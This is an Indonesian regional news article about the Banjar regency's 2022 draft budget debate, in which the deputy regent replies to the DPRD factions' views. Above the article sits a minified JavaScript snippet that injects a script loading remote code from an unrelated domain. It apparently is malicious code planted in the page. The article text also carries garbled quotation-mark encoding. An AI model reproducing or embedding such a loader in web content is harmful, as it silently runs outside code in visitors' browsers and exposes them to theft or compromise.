(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pembahasan RAPBD 2022, Wabup Banjar: Memperhitungkan Keuangan Daerah dalam Kondisi Pandemi

KANALKALIMANTAN.COM, MARTAPURA – Ketua DPRD Kabupaten Banjar HM Rofiki pimpin rapat paripurna dengan agenda jawaban Bupati Banjar atas pemandangan umum fraksi-fraksi DPRD terhadap Rancangan Peraturan Daerah (Raperda) tentang penyusunan APBD tahun anggaran 2022, Rabu (22/9/2021).

Mewakili Bupati Banjar, Wakil Bupati Banjar Habib Idrus Al Habsyie mengatakan, penyusunan Raperda tentang APBD 2022 berpedoman pada Rencana Kerja Pemerintah Daerah (RKPD) tahun 2022, rancangan kebijakan umum anggaran dan prioritas plafon anggaran serta Permendagri Nomor 27 Tahun 2021 tentang pedoman penyusunan APBD tahun anggaran 2022.

â€œTerima kasih dan penghargaan atas apresiasi, pendapat, saran dan masukan yang telah disampaikan oleh juru bicara masing-masing fraksi pada15 September lalu, serta persetujuan fraksi-fraksi terhadap Raperda untuk dibahas dalam tahapan selanjutnya,â€ ujar Wabup Banjar.

Terkait atas pemandangan umum Fraksi Gerindra, RPJMD sudah disusun dengan memperhatikan sumber daya yang dimiliki, baik SDM ataupun sumber daya keuangan, serta sumber daya lainnya.

â€œPenentuan target-target dalam indikator pembangunan yang telah disepakati bersama telah memperhitungkan sumber daya tersebut, khususnya kondisi keuangan daerah selama masa pandemi ini,â€ kata Wabup Banjar.

Menanggapi panadangan umum dari Fraksi Amanat Sejahtera Rakyat, eksekutif sependapat agar dalam proses mekanisme penyusunan rancangan APBD menampung semua aspirasi masyarakat, baik lewat Musrenbang maupun Reses anggota yang dihimpun dalam RKPD.

â€œPenyusunan RKPD dilakukan dengan menggunakan aplikasi SIPD (Sistem Informasi Pemerintah Daerah),â€ kata Wabup.

Dalam penyusunan RKPD yang menjadi acuan dalam penyusunan rancangan APBD harus melalui beberapa tahapan. Mengawal sinergisitas dan keselarasan kebijakan antara pemerintah pusat dan pemerintah daerah, termasuk kebijakan tentang penanganan Covid-19. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk